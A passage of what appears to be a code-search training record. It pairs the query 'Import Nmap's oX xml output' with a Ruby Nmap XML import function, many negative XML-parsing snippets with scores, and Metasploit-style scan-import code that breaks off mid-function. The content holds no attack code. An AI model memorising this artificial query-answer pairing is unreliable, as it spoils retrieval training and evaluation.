REXML::Parsers::SAX2Parser.new @stream\n\n parser.listen(:end_document) do\n raise Jabber::ConnectionForceCloseError\n end\n\n parser.listen( :start_element ) do |uri, localname, qname, attributes|\n case qname\n when \"stream:stream\"\n openstream = ParsedXMLElement.new(qname)\n attributes.each { |attr, value| openstream.add_attribute(attr, value) }\n @listener.receive(openstream)\n @started = true\n else\n if @current.nil?\n @current = ParsedXMLElement.new(qname)\n else\n @current = @current.add_child(qname)\n end\n attributes.each { |attr, value| @current.add_attribute(attr, value) }\n end\n end\n parser.listen( :end_element ) do |uri, localname, qname|\n case qname\n when \"stream:stream\"\n @started = false\n else\n @listener.receive(@current) unless @current.element_parent\n @current = @current.element_parent\n end\n end\n parser.listen( :characters ) do | text |\n @current.append_data(text) if @current\n end\n parser.listen( :cdata ) do | text |\n @current.append_data(text) if @current\n end\n parser.parse\n rescue REXML::ParseException => e\n @listener.parse_failure\n rescue Jabber::ConnectionForceCloseError => e\n @listener.parse_failure(e)\n end\n end", "def parse\n Ox.parse(@xml)\n end", "def parse_page\n @doc = Nokogiri::HTML(@html)\n end", "def parse_osm\n db = OSM::Database.new\n parser = OSM::StreamParser.new(:filename => \"kibera.\" + KEY + \".osm\", :db => db)\n result = parser.parse\n\n db.nodes.each do |key,node|\n if node.tags['media:video_device_number'] and node.tags['media:video_number']\n video_numbers = node.tags['media:video_number'].split(\",\")\n video_numbers.each do |video_number|\n check_and_upload(node.id, node.tags['media:video_device_number'], video_number, node.lat, node.lon, node.name, 'video')\n end\n end\n if node.tags['media:camera_device_number'] and node.tags['media:camera_number']\n camera_numbers = node.tags['media:camera_number'].split(\",\")\n camera_numbers.each do |camera_number|\n check_and_upload(node.id, node.tags['media:camera_device_number'], camera_number, node.lat, node.lon, node.name, 'camera')\n end\n end \n end\nend", "def sitemap_doc\n return doc if doc && !gzip?\n\n begin\n @sitemap_doc ||= Nokogiri::XML::Document.parse(unzipped_body, @url.to_s, content_charset)\n rescue\n end\n end", "def parsed_document\n @parsed_document ||= Nokogiri::HTML(document)\n\n rescue Exception => e\n warn 'An exception occurred while trying to scrape the page!'\n warn e.message\n end", "def test2\n uri = 'http://dbhack1.nescent.org/cgi-bin/phylows.pl/phylows/tree/TB:1999'\n # @x = Net::HTTP.get_response(URI.parse(uri)).body\n @d = Nexml::Document.new(:url => uri)\n end", "def parse(string_or_io, options = nil)\n ##\n # When the current node is unparented and not an element node, use the\n # document as the parsing context instead. Otherwise, the in-context\n # parser cannot find an element or a document node.\n # Document Fragments are also not usable by the in-context parser.\n if !element? && !document? && (!parent || parent.fragment?)\n return document.parse(string_or_io, options)\n end\n\n options ||= (document.html? ? ParseOptions::DEFAULT_HTML : ParseOptions::DEFAULT_XML)\n if Integer === options\n options = Nokogiri::XML::ParseOptions.new(options)\n end\n # Give the options to the user\n yield options if block_given?\n\n contents = string_or_io.respond_to?(:read) ?\n string_or_io.read :\n string_or_io\n\n return Nokogiri::XML::NodeSet.new(document) if contents.empty?\n\n # libxml2 does not obey the `recover` option after encountering errors during `in_context`\n # parsing, and so this horrible hack is here to try to emulate recovery behavior.\n #\n # Unfortunately, this means we're no longer parsing \"in context\" and so namespaces that\n # would have been inherited from the context node won't be handled correctly. This hack was\n # written in 2010, and I regret it, because it's silently degrading functionality in a way\n # that's not easily prevented (or even detected).\n #\n # I think preferable behavior would be to either:\n #\n # a. add an error noting that we \"fell back\" and pointing the user to turning off the `recover` option\n # b. don't recover, but raise a sensible exception\n #\n # For context and background: https://github.com/sparklemotion/nokogiri/issues/313\n # FIXME bug report: https://github.com/sparklemotion/nokogiri/issues/2092\n error_count = document.errors.length\n node_set = in_context(contents, options.to_i)\n if (node_set.empty? && (document.errors.length > error_count))\n if options.recover?\n fragment = Nokogiri::HTML4::DocumentFragment.parse contents\n node_set = fragment.children\n else\n raise document.errors[error_count]\n end\n end\n node_set\n end", "def open_document\n @document = Nokogiri::XML(open(@feed_uri).read)\n end", "def parse(thing, url = nil, encoding = nil, options = ParseOptions::DEFAULT_XML, &block)\n Document.parse(thing, url, encoding, options, &block)\n end", "def parse_rss\n parser = Parsers::RSS.new\n noko_sax = Nokogiri::XML::SAX::Parser.new(parser)\n noko_sax.parse(@data)\n parser.feed\n end", "def parse(content,browser=nil)\n\t\t\t@ret=Nokogiri::XML(content)\n\t\t\t@sniffed_type=sniff(@ret)\n\t\t\tcase @sniffed_type\n\t\t\twhen :acquisition then return OPDS::AcquisitionFeed.from_nokogiri(@ret,browser)\n\t\t\twhen :navigation then return OPDS::NavigationFeed.from_nokogiri(@ret,browser)\n\t\t\twhen :entry then return OPDS::Entry.from_nokogiri(@ret,nil,browser)\n\t\t\tend\n\t\tend", "def clean_nokogiri_document(document)\n document.remove_namespaces!\n document.root.add_namespace(nil, \"xmlns\")\n nokogiri_document(document.to_xml)\n end", "def to_nokogiri\n base_document = Nokogiri::XML::Builder.new(:encoding => 'UTF-8') do |xml|\n xml.entry('xmlns:atom' => 'http://www.w3.org/2005/Atom',\n 'xmlns:apps' => 'http://schemas.google.com/apps/2006' ) {\n\n # Namespaces cannot be used until they are declared, so we need to\n # retroactively declare the namespace of the parent\n xml.parent.namespace = xml.parent.namespace_definitions.select {|ns| ns.prefix == \"atom\"}.first\n xml.category(\"scheme\" => \"http://schemas.google.com/g/2005#kind\",\n \"term\" =>\"http://schemas.google.com/apps/2006#user\")\n xml['apps'].login(login_attributes)\n xml['apps'].quota(\"limit\" => @limit) if @limit\n xml['apps'].name(\"familyName\" => @family_name, \"givenName\" => @given_name)\n }\n end\n\n base_document\n end", "def init\n f = File.open(@pref_file)\n @doc = Nokogiri::XML(f)\n f.close\n @doc.remove_namespaces! \n end", "def parse(location)\n begin\n XmlSimple.xml_in(get(location).encode(\"UTF-8\", \"ISO-8859-1\"))\n rescue SocketError => e\n nil\n end\n end", "def get_xml(url)\n Nokogiri::XML.parse(get(url), nil, nil, Nokogiri::XML::ParseOptions::STRICT)\n end", "def jrexml!\n @@parser = USE_JREXML\n end", "def start_document\n @doc = Nokogiri::XML::Document.new\n end", "def load_xml_doc( filename )\n File.open( filename, 'r') do |file|\n return Oga.parse_xml( file )\n end\n\n puts \"ERROR: loading #{filename}\"\n return nil\n end", "def parse xml\n begin\n output = Crack::XML.parse xml\n rescue Exception => e\n puts \"Exception parsing message #{e.message}\"\n return {}\n end\n end", "def get_results\n begin\n results = Nokogiri::XML(open(URI.encode(@request.full)))\n rescue SystemCallError, EOFError\n retry\n end\n # puts results\n parse results, :query => @request.q\n end", "def initialize\n\t@xml = '<?xml version=\"1.0\"?>\n<?misc:processingInstruction \"with arguments\"?>\n<?other:piNoArgs ?>\n<!DOCTYPE outer PUBLIC \"public id\" \"foobar\" [\n <!ENTITY foo \"bletch\">\n <!ELEMENT el>\n <!ATTLIST el EMPTY>\n <!NOTATION notation ignored>\n]>\n<!-- comment -->\n<outer>\n data&amp;&foo;\nmore on next line<simpleTag>text</simpleTag>\n<inner:tag a=\"tabs\tto\tspaces&foo;\"/><![CDATA[xx<z&xx</\nnewline in cdata\n]]>\n<p>text <b>bold café coffee</b> more text</p>\n</outer>'\n\n\temptyAttrs = Hash.new()\n\t@newlineTok = NQXML::Text.new(\"\\n\")\n\n\tattrs = Hash.new()\n\tattrs['version'] = '1.0'\n\t@xmlDecl = NQXML::XMLDecl.new('xml', attrs, '<?xml version=\"1.0\"?>')\n\n\tsrc = '<?misc:processingInstruction \"with arguments\"?>'\n\t@piWithArgs =\n\t NQXML::ProcessingInstruction.new('misc:processingInstruction',\n\t\t\t\t\t '\"with arguments\"', src)\n\n\t@piNoArgs = NQXML::ProcessingInstruction.new('other:piNoArgs', '',\n\t\t\t\t\t\t '<?other:piNoArgs ?>')\n\n\t@entityTag =\n\t NQXML::GeneralEntityTag.new('foo', 'bletch', nil, nil,\n\t\t\t\t\t'<!ENTITY foo \"bletch\">')\n\t@element = NQXML::Element.new('el', '', '<!ELEMENT el>')\n\t@attlist = NQXML::Attlist.new('el', 'EMPTY', '<!ATTLIST el EMPTY>')\n\t@notation = NQXML::Notation.new('notation', 'ignored',\n\t\t\t\t\t'<!NOTATION notation ignored>')\n\t@doctypePubid =\n\t NQXML::PublicExternalID.new('\"public id\"', '\"foobar\"',\n\t\t\t\t\t'PUBLIC \"public id\" \"foobar\"')\n\t@doctype =\n\t NQXML::Doctype.new('outer', @doctypePubid,\n\t\t\t [@entityTag, @element, @attlist, @notation],\n\t\t\t \"<!DOCTYPE outer PUBLIC \\\"public id\\\" \\\"foobar\\\" [\\n\" +\n\t\t\t \" <!ENTITY foo \\\"bletch\\\">\\n\" +\n\t\t\t \" <!ELEMENT el>\\n\" +\n\t\t\t \" <!ATTLIST el EMPTY>\\n\" +\n\t\t\t \" <!NOTATION notation ignored>\\n\" +\n\t\t\t \"]>\")\n\n\t@comment = NQXML::Comment.new('<!-- comment -->')\n\t@outerStart = NQXML::Tag.new('outer', emptyAttrs, false, '<outer>')\n\t@textDataWithSub = NQXML::Text.new(\"\\n data&bletch\\nmore on next line\")\n\t@simpleTagStart = NQXML::Tag.new('simpleTag', emptyAttrs, false,\n\t\t\t\t\t '<simpleTag>')\n\t@simpleTextData = NQXML::Text.new('text')\n\t@simpleTagEnd = NQXML::Tag.new('simpleTag', nil, true, '</simpleTag>')\n\n\tattrs = Hash.new()\n\tattrs['a'] = 'tabs to spacesbletch'\n\t@innerTagStart = NQXML::Tag.new('inner:tag', attrs, false,\n\t\t\t\t\t'<inner:tag a=\"tabs\tto\tspaces&foo;\"/>')\n\n\t@innerTagEnd = NQXML::Tag.new('inner:tag', nil, true,\n\t\t\t\t\t'<inner:tag a=\"tabs\tto\tspaces&foo;\"/>')\n\t@pTagStart = NQXML::Tag.new('p', emptyAttrs, false, '<p>')\n\t@pTagEnd = NQXML::Tag.new('p', nil, true, '</p>')\n\t@bTagStart = NQXML::Tag.new('b', emptyAttrs, false, '<b>')\n\t@bTagEnd = NQXML::Tag.new('b', nil, true, '</b>')\n\t@textText = NQXML::Text.new('text ')\n\t@boldText = NQXML::Text.new('bold café coffee')\n\t@moreTextText = NQXML::Text.new(' more text')\n\n\t@cdata = NQXML::Text.new(\"xx<z&xx</\\nnewline in cdata\\n\",\n\t\t\t\t \"<![CDATA[xx<z&xx</\\nnewline in cdata\\n]]>\")\n\t@outerEnd = NQXML::Tag.new('outer', nil, true, '</outer>')\n\n\t@sub1_xml = '<?xml version=\"1.0\"?>\n<!DOCTYPE outer SYSTEM \"foobar\" [\n <!ENTITY example \"<p>An ampersand (&#38;#38;) may be escaped numerically (&#38;#38;#38;) or with a general entity (&amp;amp;).</p>\" >\n]>\n'\n\tsrc = '<!ENTITY example \"<p>An ampersand (&#38;#38;) may be' +\n\t ' escaped numerically (&#38;#38;#38;) or with a general entity' +\n\t ' (&amp;amp;).</p> >'\n\tval = \"<p>An ampersand (&#38;) may be escaped numerically\" +\n\t \" (&#38;#38;) or with a general entity (&amp;amp;).</p>\"\n\t@sub1Entity = NQXML::GeneralEntityTag.new('example', val, nil, nil,\n\t\t\t\t\t\t src)\n\t\t\t\t\t\t\n\t@sub2_xml = '<?xml version=\"1.0\"?>\n<!DOCTYPE test [\n<!ELEMENT test (#PCDATA) >\n<!ENTITY % xx \\'&#37;zz;\\'>\n<!ENTITY % zz \\'&#60;!ENTITY tricky \"error-prone\" >\\' >\n%xx;\n]>\n<test>This sample shows a &tricky; method.</test>\n'\n\t@xxEntity =\n\t NQXML::ParameterEntityTag.new('xx', '%zz;', nil,\n\t\t\t\t\t '<!ENTITY % zz \\'&#37;zz;\\'>')\n\n\tsrc = '<!ENTITY % zz \\'&#60;!ENTITY tricky \"error-prone\" >\\' >'\n\tval = '<!ENTITY tricky \"error-prone\" >'\n\t@zzEntity = NQXML::ParameterEntityTag.new('zz', val, nil, src)\n end", "def Slop(*args, &block)\n Nokogiri(*args, &block).slop!\n end", "def import_nmap_xml_file(args={})\n filename = args[:filename]\n\n data = \"\"\n ::File.open(filename, 'rb') do |f|\n data = f.read(f.stat.size)\n end\n import_nmap_xml(args.merge(:data => data))\n end", "def map(rss_file_or_url, override_mapping=nil)\n open(rss_file_or_url) do |feed|\n @rss = RSS::Parser.parse(feed.read, false)\n super(rss.items.collect, override_mapping)\n end\n end", "def parsed\n @parsed ||= Nokogiri::HTML(@document.to_s)\n end", "def load_xml(source)\n #begin\n if source.is_a? Nokogiri::XML::Document\n @document = source\n else\n #source =~ /\\<DIF\\>/\n if source.size < 255 and File.exists? source\n source = File.read source\n end\n @document = Nokogiri::XML::Document.parse( source, nil, nil ) #, Nokogiri::XML::ParseOptions::NOBLANKS\n end\n # Sets all properties like Entry_ID for this instance\n load_hash(document_to_hash)\n \n #rescue => e\n #puts e.backtrace\n #raise ArgumentError, \"Cannot load DIF XML: \" + e.message[0..255]\n #end\n end", "def parse_string(xml_string)\n doc = Handsoap::XmlQueryFront.parse_string(xml_string, :nokogiri)\n on_response_document(doc)\n doc\n end", "def parse string_or_io, url = nil, encoding = nil, options = 2145, &block\n\n options = Nokogiri::XML::ParseOptions.new(options) if Fixnum === options\n # Give the options to the user\n yield options if block_given?\n\n if string_or_io.respond_to?(:read)\n url ||= string_or_io.respond_to?(:path) ? string_or_io.path : nil\n return Document.read_io(string_or_io, url, encoding, options.to_i)\n end\n\n # read_memory pukes on empty docs\n return Document.new if string_or_io.nil? or string_or_io.empty?\n\n Document.read_memory(string_or_io, url, encoding, options.to_i)\n end", "def initialize(ng_or_string_or_io)\n @ng_xml = ng_or_string_or_io.is_a?(Nokogiri::XML::Document) ? ng_or_string_or_io : Nokogiri::XML(ng_or_string_or_io)\n end", "def initialize(ng_or_string_or_io)\n @ng_xml = ng_or_string_or_io.is_a?(Nokogiri::XML::Document) ? ng_or_string_or_io : Nokogiri::XML(ng_or_string_or_io)\n end", "def gml_document\n # Rails.logger.debug \"Tag #{id}: gml_document\"\n return nil if self.gml.blank?\n @document ||= Nokogiri::XML(self.gml)\n rescue ArgumentError\n Rails.logger.error \"Error parsing GML document for id=#{self.id}\"\n nil\n end", "def parse\n #Target\n doc = nokogiriDoc(@target)\n \n doc.xpath(\"//#{@xmlns}spectrum_query\").each do |query|\n count = query.xpath(\".//#{@xmlns}search_hit\").length\n 1.upto(count) {|i| @matches << psm(query, \"1\", i)}\n end\n GC.start # More memory can be salvaged by placing this before the end, but speed greatly declines.\n \n #Decoy\n doc = nokogiriDoc(@decoy)\n \n doc.xpath(\"//#{@xmlns}spectrum_query\").each do |query|\n count = query.xpath(\".//#{@xmlns}search_hit\").length\n 1.upto(count) {|i| @matches << psm(query, \"-1\", i)}\n end\n GC.start\n end", "def parse_opts\n XML::Parser::Options::NOBLANKS |\n XML::Parser::Options::NOENT |\n XML:: Parser::Options::NONET\n end", "def noko_for(url)\n Nokogiri::HTML(open(url).read) \nend", "def noko_for(url)\n Nokogiri::HTML(open(url).read) \nend", "def pluggable_parser; end", "def parse(file)\n Nmap::XML.new('scan.xml') do |xml|\n xml.each_up_host do |host|\n host.each_open_port do |port|\n port.define_singleton_method(:title) do\n url = \"http://#{host.ip}:#{port.number}\"\n begin\n Mechanize.new.get(url).title\n rescue\n \"Couldn't get title.\"\n end\n end\n end\n end\n end\n end", "def _convertXML() \n\n require 'rexml/document'\n return REXML::Document.new(self.response)\n\n raise \"Unimplemented.\"\n \n\t#\t\t\tfrom xml.dom.ext.reader import PyExpat\n#\t\t\tParser = PyExpat.Reader\n#\t\texcept ImportError :\n#\t\t\tfrom xml.dom.ext.reader import Sax2\n#\t\t\tParser = Sax2.Reader\n#\t\t\t#import warnings\n#\t\t\t#warnings.warn(\"Expat parser could not be loaded, using Sax2. Might slow down things...\")\n#\t\treader = Parser()\n#\t\treturn reader.fromStream(self.response)\n\n end", "def nokogiri_xml(file_path)\n Nokogiri::XML(File.open(file_path), nil, 'UTF-8')\n end", "def rexml? ; false end", "def parse_text\n @doc = Nokogiri::HTML(wrap(@text)) do |config|\n #config.strict\n end\n rescue Exception => e\n log(\"Error parsing text, couldn't continue. #{e}\")\n end", "def initialize(f) # f can be pathname or string\n @doc = Nokogiri::XML::Document.parse(f, &:noblanks) # Nokogiri handles both\n @top = @doc.search(\"body\").first\n self.firstSummit()\n end", "def parse(document_xml)\n @xml = Nokogiri::XML(document_xml)\n\n # Iterate over each element node and dispatch it to the appropriate parser\n @xml.xpath('//w:body').children.each do |node|\n case node.name\n when 'p'\n no_numbering_prop = node.xpath('.//w:numPr').length.zero? || node.xpath('.//w:numPr/w:ilvl | .//w:numPr/w:numId').length.zero?\n not_multiparagraph_list_item = (@buffer.is_a?(Swordfish::Node::List) ? node.xpath('.//w:ind[@w:left]').length.zero? : true)\n if no_numbering_prop && not_multiparagraph_list_item\n # Regular paragraph\n # (The buffer check makes sure that this isn't an indented paragraph immediately after a list item,\n # which means we're most likely dealing with a multi-paragraph list item)\n flush\n @swordfish_doc.append _node_parse_paragraph(node)\n elsif node.xpath('.//w:numPr/ancestor::w:pPrChange').length.zero?\n # List paragraph\n # (must have a numPr node, but cannot have a pPrChange ancestor, since that means\n # we are just looking at historical changes)\n # (Don't flush because we need to first ensure the list is fully parsed)\n _node_parse_list(node)\n end\n when 'tbl'\n flush\n @swordfish_doc.append _node_parse_table(node)\n end\n end\n flush\n end", "def rss\r\n Nokogiri::XML(body)\r\n end", "def parser; end", "def parser; end", "def parser; end", "def parser; end", "def rexml!\n @@parser = USE_REXML\n end", "def fix_namespaces(doc)\n if is_jruby?\n # Only needed in jruby, nokogiri's jruby implementation isn't weird\n # around namespaces in exactly the same way as MRI. We need to keep\n # track of the namespaces in outer contexts ourselves, and then see\n # if they are needed ourselves. :(\n namespaces = namespaces_stack.compact.reduce({}, :merge)\n default_ns = namespaces.delete(\"xmlns\")\n\n namespaces.each_pair do |attrib, uri|\n ns_prefix = attrib.sub(/\\Axmlns:/, '')\n\n # gotta make sure it's actually used in the doc to not add it\n # unecessarily. GAH.\n if doc.xpath(\"//*[starts-with(name(), '#{ns_prefix}:')][1]\").empty? &&\n doc.xpath(\"//@*[starts-with(name(), '#{ns_prefix}:')][1]\").empty?\n next\n end\n doc.root.add_namespace_definition(ns_prefix, uri)\n end\n\n if default_ns\n doc.root.default_namespace = default_ns\n # OMG nokogiri, really?\n default_ns = doc.root.namespace\n doc.xpath(\"//*[namespace-uri()='']\").each do |node|\n node.namespace = default_ns\n end\n end\n\n end\n return doc\n end", "def xml_doc version = nil\n Nokogiri::XML::Document.new version\n end", "def load_xml(file_path)\n # Read the source XML file.\n puts \"file_path: #{file_path}\"\n raw_xml = File.read(file_path)\n\n # Parse raw_xml using Nokogiri.\n parsed_doc = Nokogiri.XML(raw_xml)\nend", "def document\n @doc ||= Nokogiri::XML(@xml)\n end", "def xml\n @xml ||= Nokogiri::XML.parse body\n end", "def scrape(uri)\n return Nokogiri::HTML(open(uri), nil, \"UTF-8\")\nend", "def scrape(uri)\n return Nokogiri::HTML(open(uri), nil, \"UTF-8\")\nend", "def parse(uri); end", "def parse(doc)\n document = Nokogiri::XML(doc).remove_namespaces!\n @formats.each do |key, format|\n if document.xpath(format.finder).length > 0\n return self.send(\"parse_#{key}\".to_sym, doc)\n end\n end\n raise \"Error: Parser not found!\"\n end", "def initialize(url)\n @picuki_page = Nokogiri::XML(URI.open(url))\n end", "def html_parser; end", "def parseXML()\n @transform = PoortegoTransform.new('ParsedResponse')\n result_href = XmlSimple.xml_in(@xml_response.to_s)\n \n unless (result_href.has_key?('ResponseData'))\n return\n end\n \n (result_href['ResponseData'])[0].each do |response_key, response_val|\n if (response_key == 'Entities')\n parse_entities_hash(response_val)\n elsif (response_key == 'Links')\n parse_links_hash(response_val)\n else\n puts \"Invalid ResponseData key\"\n end\n end\n \n (result_href['ResponseMessages'])[0].each do |message_key, message_val|\n if (message_key == 'Message')\n parse_message_hash(message_val)\n else\n puts \"Invalid ResponseMessages key\"\n end\n end\n \n end", "def parse_html(source)\n Nokogiri::HTML(open(source))\n end", "def best_available\n parser = nil\n if defined? JRUBY_VERSION\n unless parser\n begin\n require \"nokogiri\"\n parser = USE_NOKOGIRI\n rescue LoadError\n end\n end\n unless parser\n begin\n # try to find the class, so we throw an error if not found\n java.lang.Class.forName(\"javax.xml.stream.XMLInputFactory\")\n parser = USE_JSTAX\n rescue java.lang.ClassNotFoundException\n end\n end\n unless parser\n begin\n require \"jrexml\"\n parser = USE_JREXML\n rescue LoadError\n end\n end\n else\n begin\n require \"nokogiri\"\n parser = USE_NOKOGIRI\n rescue LoadError\n end\n unless defined? JRUBY_VERSION\n unless parser\n begin\n require \"xml\"\n parser = USE_LIBXML\n rescue LoadError\n end\n end\n end\n end\n parser ||= USE_REXML\n parser\n end", "def parse(feed)\n document = Nokogiri::XML(feed)\n if root = document.root\n root.add_namespace_definition('atom', 'http://www.w3.org/2005/Atom')\n root.add_namespace_definition('rdf', 'http://www.w3.org/1999/02/22-rdf-syntax-ns#')\n root.add_namespace_definition('rss1', 'http://purl.org/rss/1.0/')\n root.add_namespace_definition('dc', 'http://purl.org/dc/elements/1.1/')\n parsers.each do |parser|\n node = root.xpath(parser.root_node).first\n if node\n return parser.new(node)\n end\n end\n end\n # if we cannot find a parser, raise an error.\n raise InvalidFeedFormat\n end", "def reset\n @parser = Nokogiri::XML::SAX::PushParser.new(self, \"UTF-8\")\n @elem = @doc = nil\n end", "def parse_file_to_ar(f)\n pp_ok \"STARTING PARSE for file #{f}...\"\n\n @doc = Nokogiri::XML(File.open(f), 'UTF-8') do |config|\n config.options = Nokogiri::XML::ParseOptions::STRICT | Nokogiri::XML::ParseOptions::NOBLANKS\n end\n\n # Extend name space to include METS\n # couldn't get the following to work\n # example: node.xpath('.//foo:name', {'foo' => 'http://example.org/'})\n # example: node.xpath('.//xmlns:name', node.root.namespaces)\n # my try: puts @doc.xpath(\"xmlns:METS\", {\"METS\" => \"http://www.loc.gov/METS/\"})\n\n # The following actually modifies the xml, which we don't want. But it works.\n ns = @doc.root.add_namespace_definition(\"xmlns:METS\", \"http://www.loc.gov/METS/\")\n\n\n\n pp_ok \"Current file is: #{f}\"\n # issue information -------------\n # note: issue_id is autoincremented by the db\n # and we will want to select it from the last row created\n\n pp_ok \"ISSUE INFO:\"\n hathitrust = @doc.xpath(\"//MODS:identifier[@type='hathitrust']/text()\").to_s\n pp_ok \"hathitrust value is #{hathitrust}\"\n\n volume = @doc.xpath(\"//MODS:detail[@type='volume']/MODS:number/text()\").to_s\n pp_ok \"volume value is #{volume}\"\n\n issue_no = @doc.xpath(\"//MODS:detail[@type='issue']/MODS:number/text()\").to_s\n pp_ok \"issues value is #{issue_no}\"\n\n edition = @doc.xpath(\"//MODS:detail[@type='edition']/MODS:number/text()\").to_s\n pp_ok \"edition value is #{edition}\"\n\n date_issued = @doc.xpath(\"//MODS:dateIssued/text()\").to_s\n pp_ok \"dateIssued value is #{date_issued}\"\n\n newspaper = @doc.xpath(\"/METS:mets/@LABEL\").to_s\n newspaper = newspaper.split(\",\").first.strip\n pp_ok \"newspaper is #{newspaper}\"\n\n\n issue_id = add_data_issue_ar(hathitrust, volume, issue_no, edition, date_issued, newspaper)\n\n pp_ok \"ISSUE ID IS: #{issue_id}\"\n\n # page information -------------\n # note: page_id is autoincremented by the db\n\n pages_target = \"//METS:structMap/METS:div[@TYPE='np:issue'][@DMDID='issueModsBib']/METS:div[@TYPE='np:page']\"\n\n pages = @doc.xpath(pages_target)\n\n @doc.xpath(pages_target).each do |node|\n\n pp_ok \"PAGE INFO:\"\n\n pp_ok \"issue_id value is #{issue_id}\"\n\n page_no = node.xpath(\"@ORDERLABEL\").to_s\n pp_ok \"page_no value is #{page_no}\"\n\n sequence = node.xpath(\"@ORDER\").to_s.to_i\n pp_ok \"sequence value is #{sequence}\"\n\n text_link = node.xpath(\"METS:mptr[1]/@xlink:href\").to_s\n pp_ok \"text_link value is #{text_link}\"\n\n img_link = node.xpath(\"METS:mptr[2]/@xlink:href\").to_s\n pp_ok \"img_link value is #{img_link}\"\n\n add_data_page_ar(issue_id, page_no, sequence, text_link, img_link)\n\n end # each\n\n pp \"File #{f} processed\"\n\n end", "def object\n @object ||= case @library\n when :nokogiri then parse_nokogiri(value)\n when :rexml then parse_rexml(value)\n end\n end", "def parse_rstdtl(xml_doc)\r\n return xml_doc.xpath(\"//xmlns:url/xmlns:loc\").map { |e| e.text.strip }\r\n end", "def parse(body)\n new Nokogiri body\n end", "def parser(dst_encoding = 'utf-8', src_encoding = nil)\r\n return @cache[:parser] unless @cache[:parser].nil?\r\n\r\n if dst_encoding\r\n # Converts the page's body to UTF-8.\r\n return @cache[:parser] = Nokogiri::HTML(body.encode(dst_encoding, src_encoding))\r\n\r\n elsif (@cache[:parser] = page.try(:parser))\r\n # If no source encoding is given, does no conversion.\r\n return @cache[:parser]\r\n end\r\n\r\n '' # Default return.\r\n end" ]
[ "0.67848814", "0.6258493", "0.6111307", "0.61100143", "0.6048194", "0.6041562", "0.58955926", "0.5777912", "0.5679643", "0.56777006", "0.5623331", "0.5620242", "0.56108457", "0.5604741", "0.5600749", "0.55937976", "0.558505", "0.5577131", "0.55360526", "0.5482686", "0.5422911", "0.5420672", "0.5409799", "0.5400112", "0.5395255", "0.53801864", "0.5378769", "0.5375654", "0.53709835", "0.536873", "0.53685534", "0.53640574", "0.5363541", "0.5358001", "0.5350297", "0.5336722", "0.5331722", "0.5316393", "0.53058165", "0.52971464", "0.5279072", "0.5272645", "0.52687174", "0.52510625", "0.5246547", "0.52386355", "0.5230842", "0.5228635", "0.5209956", "0.52092475", "0.51926863", "0.5191299", "0.51888025", "0.51719284", "0.51650935", "0.51557165", "0.5151717", "0.51313436", "0.5127514", "0.5127514", "0.5121137", "0.5118746", "0.51020306", "0.51010597", "0.51010597", "0.5094758", "0.50792396", "0.50766206", "0.50611037", "0.5053179", "0.50326824", "0.50291175", "0.5028402", "0.50218076", "0.50192827", "0.50192827", "0.50192827", "0.50192827", "0.50180966", "0.50169533", "0.5006515", "0.4996734", "0.49826154", "0.4978055", "0.49768558", "0.49768558", "0.49758363", "0.49749535", "0.49685514", "0.4964553", "0.49640048", "0.4963817", "0.49617884", "0.4951329", "0.49463814", "0.49463612", "0.4946204", "0.49446982", "0.49408752", "0.4931446" ]
0.65938336
1
Import Nmap's oX xml output
def import_nmap_xml_file(args={}) filename = args[:filename] data = "" ::File.open(filename, 'rb') do |f| data = f.read(f.stat.size) end import_nmap_xml(args.merge(:data => data)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def osmxml (ios)\n ios.write(\"<osm version=\\\"0.6\\\" >\\n\")\n @properties.each { |x| \n x.osmxml(ios) \n }\n ios.write(\"</osm>\\n\")\n end", "def to_xml\n Ox.to_xml document\n end", "def import_nmap_xml_file(args={})\n\t\tfilename = args[:filename]\n\t\twspace = args[:wspace] || workspace\n\n\t\tf = File.open(filename, 'rb')\n\t\tdata = f.read(f.stat.size)\n\t\timport_nmap_xml(args.merge(:data => data))\n\tend", "def cmd_db_import_nmap_xml(*args)\n\t\t\treturn unless active?\n\t\t\tif (not (args and args.length == 1))\n\t\t\t\tprint_error(\"Usage: db_import_nmap_xml <nmap.xml>\")\n\t\t\t\treturn\n\t\t\tend\n\n\t\t\tif (not File.readable?(args[0]))\n\t\t\t\tprint_status(\"Could not read the NMAP file\")\n\t\t\t\treturn\n\t\t\tend\n\t\t\tframework.db.import_nmap_xml_file(:filename => args[0])\n\t\tend", "def import_nmap_xml(args={}, &block)\n return nil if args[:data].nil? or args[:data].empty?\n wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)\n bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []\n\n if Rex::Parser.nokogiri_loaded\n noko_args = args.dup\n noko_args[:blacklist] = bl\n noko_args[:workspace] = wspace\n if block\n yield(:parser, \"Nokogiri v#{::Nokogiri::VERSION}\")\n import_nmap_noko_stream(noko_args) {|type, data| yield type,data }\n else\n import_nmap_noko_stream(noko_args)\n end\n return true\n end\n\n # XXX: Legacy nmap xml parser starts here.\n\n fix_services = args[:fix_services]\n data = args[:data]\n\n # Use a stream parser instead of a tree parser so we can deal with\n # huge results files without running out of memory.\n parser = Rex::Parser::NmapXMLStreamParser.new\n yield(:parser, parser.class.name) if block\n\n # Whenever the parser pulls a host out of the nmap results, store\n # it, along with any associated services, in the database.\n parser.on_found_host = Proc.new { |h|\n hobj = nil\n data = {:workspace => wspace}\n if (h[\"addrs\"].has_key?(\"ipv4\"))\n addr = h[\"addrs\"][\"ipv4\"]\n elsif (h[\"addrs\"].has_key?(\"ipv6\"))\n addr = h[\"addrs\"][\"ipv6\"]\n else\n # Can't report it if it doesn't have an IP\n raise RuntimeError, \"At least one IPv4 or IPv6 address is required\"\n end\n next if bl.include? addr\n data[:host] = addr\n if (h[\"addrs\"].has_key?(\"mac\"))\n data[:mac] = h[\"addrs\"][\"mac\"]\n end\n data[:state] = (h[\"status\"] == \"up\") ? Msf::HostState::Alive : Msf::HostState::Dead\n data[:task] = args[:task]\n\n if ( h[\"reverse_dns\"] )\n data[:name] = h[\"reverse_dns\"]\n end\n\n # Only report alive hosts with ports to speak of.\n if(data[:state] != Msf::HostState::Dead)\n if h[\"ports\"].size > 0\n if fix_services\n port_states = h[\"ports\"].map {|p| p[\"state\"]}.reject {|p| p == \"filtered\"}\n next if port_states.compact.empty?\n end\n yield(:address,data[:host]) if block\n hobj = report_host(data)\n report_import_note(wspace,hobj)\n end\n end\n\n if( h[\"os_vendor\"] )\n note = {\n :workspace => wspace,\n :host => hobj || addr,\n :type => 'host.os.nmap_fingerprint',\n :task => args[:task],\n :data => {\n :os_vendor => h[\"os_vendor\"],\n :os_family => h[\"os_family\"],\n :os_version => h[\"os_version\"],\n 